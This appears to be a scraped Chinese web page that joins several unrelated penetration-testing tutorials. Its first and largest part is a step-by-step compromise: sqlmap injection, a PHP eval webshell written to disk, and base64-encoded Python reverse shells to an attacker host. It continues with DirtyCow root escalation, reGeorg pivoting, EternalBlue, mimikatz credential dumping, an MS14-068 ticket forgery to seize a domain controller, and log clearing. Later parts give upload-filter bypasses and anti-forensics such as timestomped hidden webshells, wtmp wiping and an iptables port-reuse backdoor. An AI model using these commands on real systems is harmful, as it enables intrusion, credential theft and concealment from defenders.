通過Kali Linux拿到域控權限
2021最新整理網絡安全\滲透測試/安全學習(全套視頻、大廠面經、精品手冊、必備工具包)一>關注我,私信回復"資料"獲取<一
使用dirbuster工具掃描網站根目錄
設置kali默認字典文件/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
掃描獲得phpinfo.php
得到網站絕對路徑信息
通過測試發現存在sql整型注入報錯情況,進一步獲取webshell
通過sqlmap測試發現存在sql注入
sqlmap ‐u "http://IP:8888/newsshow.php?cid=4&id=19*" ‐‐dbms MYSQL ‐v3
這里有絕對路徑的情況下,可直接寫入webshell。這里使用sqlmap os-shell的功能
#通過sqlmap獲取命令執行會話
sqlmap ‐u “http://IP/newsshow.php?cid=4&id=19*” ‐‐dbms MYSQL ‐v3 ‐‐os‐ shell`
http://IP/newsshow.php?cid=4&id=19 and 1=2 UNION SELECT 1,2,3,4,5,6,7,8,0x3c3f706870206576616c28245f504f53545b2770617373275d29 3f3e,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26 into outfile '/var/www/html/webshell.php'
為了更好做后續操作,進行反彈shell
os‐shell> uname ‐a
os‐shell> whereis python`
由于網站上為linux默認安裝python,可直接生成python反彈腳本
#生成python反彈腳本
msfvenom ‐p python/meterpreter/reverse_tcp LHOST=IP LPORT=4444 ‐f raw
#msf監聽反向連接會話
msfconsole
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST IP
set LPORT 4444
run
#msf監聽快速啟動
cat py_reverse_tcp.rc
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp set LHOST 192.168.0.17
set LPORT 4444
exploit
msfconsole ‐r py_reverse_tcp.rc
#在sqlmap os‐shell模式下執行python meterpreter反彈腳本
os‐shell> python ‐c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF‐8')} [sys.version_info[0]] ('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQ0KZm9yIHggaW4gcmFuZ2UoMTApOg0KCXRy eToNCgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQ0KCQlzLmNvbm 5lY3QoKCYjMzk7SVAmIzM5Oyw0NDQ0KSkNCgkJYnJlYWsNCglleGNlcHQ6DQoJCXRpbWUu c2xlZXAoNSkNCmw9c3RydWN0LnVucGFjaygmIzM5OyZndDtJJiMzOTsscy5yZWN2KDQpKV swXQ0KZD1zLnJlY3YobCkNCndoaWxlIGxlbihkKSZsdDtsOg0KCWQrPXMucmVjdihsLWxl bihkKSkNCmV4ZWMoZCx7JiMzOTtzJiMzOTs6c30pDQo=')))"
#kali監聽會話
root@kali:~# nc ‐lvvp 6666
#在sqlmap os‐shell模式下執行python bash反彈腳本
os‐shell> python ‐c "import os;import pty;import socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((' IP',6666));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.filen o(),2);os.putenv('HISTFILE','/dev/null');pty.spawn('/bin/bash');s.clos e();"`
sqlmap執行:
監聽端口返回反彈shell結果:
拿到shell后,嘗試提升權限
通過uname -a獲取當前系統內核版本
根據可已知內核漏洞下載對應的提權程序(該處使用臟牛內核提權)
cd /tmp/ wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/sundry/master/DirtyCow/dir ty.c gcc ‐pthread dirty.c ‐o dirty ‐lcrypt ./dirty 123456
獲得firefart用戶,權限為root
su firefart
切換用戶為firefart后,將passwd恢復,避免root用戶無法使用
mv /tmp/passwd.bak /etc/passwd
通過查看網卡信息后發現存在內網地址信息
meterpreter自動路由(首選)
meterpreter > run autoroute ‐s 10.0.1.0/24 meterpreter > run autoroute ‐p
由于web服務器第二張網卡無法上網,需進行內網代理
在web服務器的shell下,下載tunnel.nosocket.php文件,做代理流量
1、網絡下載 wget ‐‐no‐check‐certificate https://raw.githubusercontent.com/K3vinPlus/reGeorg/master/tunnel.noso cket.php mv tunnel.nosocket.php /var/www/html/ 2、本地上傳 upload /root/reGeorg/tunnel.nosocket.php /var/www/html
可正常訪問tunnel.nosocket.php文件
[
Kali上執行reGeorg代理腳本
python reGeorgSocksProxy.py ‐p 9999 ‐u http://IP:8888/tunnel.nosocket.php
修改proxychains配置文件,在末行添加socks信息。
vim /etc/proxychains.conf socks5 127.0.0.1 9999
##msf自帶代理設置
setg Proxies socks5:127.0.0.1:9999
使用msf自帶端口掃描模塊,探測出10.0.1.9和10.0.1.254都存在445、3389端口。
use auxiliary/scanner/portscan/tcp set RHOSTS 10.0.1.1/24 set PORTS 21,22,23,80,389,445,873,1433,1521,2049,2181,2375,3306,3389,4899,5432,5 631,5900,5938,5984,6379,8000,8080,7001,9080,9200,10051,11211,20880,270 17,50070 set THREADS 10 exploit
通過代理方式,使用msf框架掃描內網網段中存在MS17-010漏洞主機
root@kali:~# proxychains msfconsole use auxiliary/scanner/smb/smb_ms17_010 set RHOST 10.0.1.0‐254 set threads 10 exploit
通過meterpreter路由方式,background之后使用ms17-010攻擊模塊進行攻擊
use exploit/windows/smb/ms17_010_eternalblue set payload windows/x64/meterpreter/bind_tcp set RHOSTS 10.0.1.9 run
meterpreter > sysinfo
加載mimikatz模塊
meterpreter > load mimikatz #讀取內存中存放的賬號密碼明文信息 meterpreter > wdigest
meterpreter > run post/windows/gather/enum_logged_on_users
net group "domain controllers" /domain ping dc1.kevin.com
proxychains python ms14‐068.py ‐u liujiafeng@kevin.com ‐s S‐1‐5‐21‐ 4289546598‐4075965387‐827630551‐1111 ‐d 10.0.1.254 ‐p kevin@123
use auxiliary/admin/kerberos/ms14_068_kerberos_checksum set DOMAIN KEVIN.com set USER liujiafeng set PASSWORD kevin@123 set USER_SID S‐1‐5‐21‐4289546598‐4075965387‐827630551‐1111 set RHOST 10.0.1.254
#kali切換目錄到loot下將ms14‐068 bin票據復制到物理機 /root/.msf4/loot/ #物理機通過mimikatz轉為kirbi文件 mimikatz # kerberos::clist 20191223050146_default_10.0.1.254_windows.kerberos_122860.bin /export
#再將kirbi文件放到kali ticket_converter轉換腳本目錄下 #將kirbi文件轉為ccache python ticket_converter.py 0‐00000000‐liujiafeng@krbtgt‐KEVIN.COM.kirbi TGT_liujiafeng@kevin.com.ccache mv TGT_liujiafeng@kevin.com.ccache /root/pykek/
生成msf監聽端口程序
msfvenom ‐p windows/x64/meterpreter/bind_tcp LHOST=10.0.1.254 LPORT=4444 ‐f exe ‐o /root/pykek/test.exe
新建一個msf會話監聽正向連接payload
use exploit/multi/handler set payload windows/x64/meterpreter/bind_tcp set RHOST 10.0.1.254
上傳利用工具、ms14-086黃金票據到win7跳板機上
upload /root/pykek/TGT_liujiafeng@kevin.com.ccache C:/users/kevin upload /usr/share/windows‐resources/mimikatz/x64/mimikatz.exe C:/Users/kevin upload /root/pykek/test.exe c:/users/kevin shell
在win7跳板機上執行
`#清空票據 klist purge
#導入票據
cd c:/users/kevin
mimikatz.exe
kerberos::ptc TGT_liujiafeng@kevin.com.ccache
再通過win7跳板機復制test.exe到域控c盤,并通過at命令添加定時任務執行test.exe
`copy test.exe \dc1.kevin.com\c$ dir \dc1.kevin.com\c<pre class=“copy-codeblocks” style=“font-family: Consolas, Menlo, Monaco, “Lucida Console”, “Liberation Mono”, “DejaVu Sans Mono”, “Bitstream Vera Sans Mono”, “Courier New”, monospace; font-size: 15.008px; display: block; position: relative; overflow: visible; color: rgb(34, 34, 34); font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; background-color: rgb(255, 255, 255); text-decoration-style: initial; text-decoration-color: initial;”
net time \dc1.kevin.com at \dc1.kevin.com 15:42:00 c:\test.exe
查看當前域控at定時任務
at \dc1.kevin.com
在域控at定時任務執行后,連接域控4444端口
netstat ‐ano |findstr "4444"
結束msf木馬進程,刪除exe進程
at \dc1.kevin.com 16:23:00 cmd /c del c:\test.exe
刪除win7工具
cd c:/users/kevin rm TGT_liujiafeng@kevin.com.ccache rm mimikatz.exe
windows刪除系統日志
clearev
章來源:知了堂馮老師
0 聲明
1.本課程涉及的所有信息安全攻擊技術等內容均作為教育和學習之用,不得用于其他用途,否則后果自負。
2.本課程中所涉及的所有軟件工具均來自互聯網,本著互聯網的共享精神可以提供給學員,但僅限于教育和學習之用,不得用于其他用途。
1 中華人民共和國網絡安全法(2017年6月1日施行)
第十二條
任何個人和組織使用網絡應當遵守憲法法律,遵守公共秩序,尊重社會公德,不得危害網絡安全,不得利用網絡從事危害國家安全、榮譽和利益,煽動顛覆國家政權、推翻社會主義制度,煽動分裂國家、破壞國家統一,宣揚恐怖主義、極端主義,宣揚民族仇恨、民族歧視,傳播暴力、淫穢色情信息,編造、傳播虛假信息擾 亂經濟秩序和社會秩序,以及侵害他人名譽、隱私、知識產權和其他合法權益等活動。
第四十四條
任何個人和組織不得竊取或者以其他非法方式獲取個人信息,不得非法出售或者非法向他人提供個人信息。
2 中華人民共和國刑法(節選)
第二百八十五條
【非法侵入計算機信息系 統罪】 違反國家規定,侵入國家事務、國防建設、尖端科學技術領域的計算機信息系統的, 處三年以下有期徒刑或者拘役。
第二百八十六條
【破壞計算機信息系統罪】 違反國家規定,對計算機信息系統功能進行刪除、修改、增加、干擾,造成計算機信息 系統不能正常運行,后果嚴重的,處五年以下有期徒刑或者拘役;后果特別嚴重的,處五年以上有期徒刑。
3 本課程面向的主要群體:
本課程主要面向立志從事網絡安全相關崗位,立志從事安全行業人員,對web安全及滲透測試有興趣的入坑人員。本課程初步設計主要對象為零基礎入坑學員,由于技術有限,請多多指正。
0 上傳漏洞介紹
在現代互聯網的web應用程序中,上傳文件是一種常見的功能,因為它有助于提高業務效率,比如企業的OA系統,允許用戶上傳圖片、視頻、頭像和許多其他類型的文件。然而向用戶提供的功能越多,web應用受到攻擊的風險就越大,如果web應用存在文件上傳漏洞,那么惡意用戶就可以利用文件上傳漏洞將可執行腳本程序上傳到服務器中,獲取網站的權限,或者進一步危害服務器。
·為什么文件上傳存在漏洞
上傳文件時,如果服務器代碼未對客戶端上傳的文件進行嚴格的驗證和過濾,就容易造成可以上傳任意文件的情況,包括上傳腳本文件(asp、aspx、php、jsp等格式的文件)。
·危害
非法用戶可以利用上傳的惡意腳本文件控制整個網站,甚至控制服務器。這個惡意的腳本文件,又稱之為webshell,也可將webshell腳本稱為一種網頁后門,webshell腳本具有強大的功能,比如查看服務器目錄,服務器中的文件,執行系統命令等。
1 案例講解
2 JS檢測繞過攻擊
JS檢測繞過上傳漏洞常見于用戶選擇文件上傳的場景,如果上傳文件的后綴不被允許,則會彈框告知,此時上傳文件的數據包并沒有發送到服務器端,只是在客戶端。覽器使用JavaScript對數據包進行檢測。
這時有兩種方法可以繞過客戶端JavaScript的檢測
·使用瀏覽器的插件,刪除檢測文件后綴的JS代碼,然后上傳文件即可繞過。
·把需要上傳文件的后綴改稱允許上傳的,如JPG,PNG等,繞過JS的檢測,再抓包,把后綴名改成可執行文件的后綴即可上傳成功。
(注:除了刪除代碼這個繞過方法,還有很多,比如ie的禁用腳本功能或者火狐的noscript插件或者刪除代碼中的JS引用)
3 JS檢測繞過攻擊分析
客戶端上傳文件的HTML代碼如下,在選擇文件時,會調用JS的selectFile函數,函數的作用是先將文件名轉換為小寫,然后通過substr獲取文件名最后一個點號后面的后綴(包括點號)。如果后綴不是”jpg”,則會彈窗提示“請選擇jpg格式的照片上傳”。
服務器處理上傳文件的代碼如下所示。如果上傳文件沒有錯,再通過file_exists判斷在upload目錄下文件是否已存在,不存在的話就通過move_uploaded_file將文件保存到upload目錄。此PHP代碼中沒有對文件后綴做任何判斷,所以只需要繞過前端JS校驗就可以上傳webshell
4 文件后綴繞過攻擊
文件后綴繞過攻擊是服務器代碼中限制了某些后綴的文件不允許上傳,但是有些apache是允許其他文件后綴的,例如在http.conf中,如果配置有如下代碼,則能夠解析php和phtml文件AddType application/x-httpd-php .php .phtml。
所以可以上傳一個后綴為phtml的webshell如 abc.php.phtml。
在apache的解析順序中,是從右到左開始解析文件后綴的,如果最右側的擴展名不識別,就繼續往左判斷,直到遇到可以解析的文件為止,所以如果上傳的文件名類似abc.php.xxx,因為后綴xxx不可以解析,所以向左解析后綴php。
服務端處理上傳文件的代碼如下所示。通過函數pathinfo()獲取文件后綴,將后綴,將后綴轉換為小寫之后,判斷是不是“php”,如果上傳文件的后綴是php,則不允許上傳,所以此處可以通過利用apache解析順序或上傳phtml等后綴的文件繞過該代碼限制。
5 文件類型繞過攻擊
在客戶端上傳文件時,通過burp suite抓取數據包,當上傳一個php格式的文件時,可以看到數據包中的Content-Type的值是application/octet-stream,而上傳jpg格式的文件時,數據包中的content-Type的值是image/jpeg。
如果服務器端代碼是通過content-type的值來判斷文件的類型,那么就存在被繞過的可能,因為content-type的值是通過客戶端傳遞的,是可以任意修改的。所以當上傳一個php文件時,在burpsuite中將content-type修改為image/jpeg,就可以繞過服務端的檢測。
今天就先更新到這兒了,未完待續!!!請持續關注~~
linux中可以使用history查看shell中歷史輸入的命令。如果我們希望在shell中執行的命令不被記錄在命令行歷史中,如何在linux中開啟無痕操作模式呢?
#禁用歷史記錄功能
[space]set +o history
備注:[space] 表示空格。并且由于空格的緣故,該命令本身也不會被記錄
#重新開啟歷史記錄功能
[space]set -o history
#刪除具體的某個記錄
history -d 數組
上面的命令會臨時禁用歷史功能,這意味著在這命令之后你執行的所有操作都不會記錄到歷史記錄中
1. 創建隱藏文件或者文件夾
touch .123.txt
mkdir .a
#文件名/夾前面加一個 點 就代表是隱藏文件/夾
linux下藏后門必須要修改時間,否則很容易被發現,直接利用 touch 就可以了。假設我們上傳了一個隱藏后門.webshell.php
1. 上傳后門
明顯看到.webshell.php時間戳不一樣,ls-al,查看到的時間為文件修改的時間
我們還可以使用stat命令來查看文件具體的時間戳
stat 文件名
在Linux中,沒有文件創建時間的概念。只有文件的訪問時間、修改時間、狀態改變時間。也就是說不能知道文件的創建時間。但如果文件創建后就沒有修改過,修改時間=創建時間
stat查看時間戳有三種時間屬性
2. 修改時間戳
直接利用 touch 就可以,比如參考 index.php 的時間,再賦給 .webshell.php,結果兩個文件的時間就一樣了
touch -r index.html .webshell.php
連接webshell,可見隱藏文件也可以進行連接的。
在Linux中,使用chattr命令來防止root和其他管理用戶誤刪除和修改重要文件及目錄,此權限用ls -l是查看不出來的,從而達到隱藏權限的目的。
這個技巧常被用在后門,變成了一些難以清除的后門文件。
chattr +i .webshell.php 鎖定文件,此時無法查看
lsattr .webshell.php 屬性查看
chattr -i .webshell.php 解除鎖定
rm -rf .webshell.php 刪除文件
在linux中可以使用last查看賬號ssh登錄情況
last|grep root
當我們用ssh進行登錄時,就會記錄,信息包括登錄的賬號,遠程登錄的主機,登錄時間
ssh加上-T參數,可以進行隱藏登錄記錄,不被w、who、last等指令檢測到
ssh -T -i id_rsa root@192.168.110.131 /bin/bash -i
echo “”>/var/log/wtmp
此時即看不到用戶登錄信息
端口復用是指不同的應用程序使用相同端口進行通訊。我們可以通過端口復用來達到隱藏端口的目的。其他作用還有很多,如內網滲透中,搭建隧道時,服務器僅允許指定的端口對外開放。利用端口復用可以將3389或22等端口轉發到如80端口上,以便外部連接。
1. 利用IPTables進行端口復用
假設主機開放的web服務是80端口,在被拿下的主機上執行如下命令
# 創建端口復用鏈
iptables -t nat -N LETMEIN
# 創建端口復用規則,將流量轉發至 22 端口
iptables -t nat -A LETMEIN -p tcp -j REDIRECT --to-port 22
#開啟開關,如果接收到一個含有 threathuntercoming 的 TCP 包,則將來源 IP 添加到加為 letmein 的列表中
iptables -A INPUT -p tcp -m string --string 'threathuntercoming' --algo bm -m recent --set --name letmein --rsource -j ACCEPT
#關閉開關,如果接收到一個含有 threathunterleaving 的 TCP 包,則將來源 IP 從 letmein 的列表中移除
iptables -A INPUT -p tcp -m string --string 'threathunterleaving' --algo bm -m recent --name letmein --remove -j ACCEPT
# let's do it,如果發現 SYN 包的來源 IP 處于 letmein 列表中,將跳轉到 LETMEIN 鏈進行處理,有效時間為 3600 秒
iptables -t nat -A PREROUTING -p tcp --dport 80 --syn -m recent --rcheck --seconds 3600 --name letmein --rsource -j LETMEIN
攻擊者的linux系統上執行如下
#開啟復用
echo threathuntercoming | socat - tcp:192.168.110.131:80
#ssh使用80端口進行登錄
ssh -p 80 root@192.168.110.131 -T /bin/bash -i
#關閉復用,此時不能用80端口進行ssh連接
echo threathunterleaving | socat - tcp:192.168.110.131:80
連接目標80端口成功連接ssh
ps:進行端口復用后同時也可以用默認的22端口進行ssh連接
原文鏈接:https://blog.csdn.net/qq_44159028/article/details/124196458
*請認真填寫需求信息,我們會在24小時內與您取得聯系。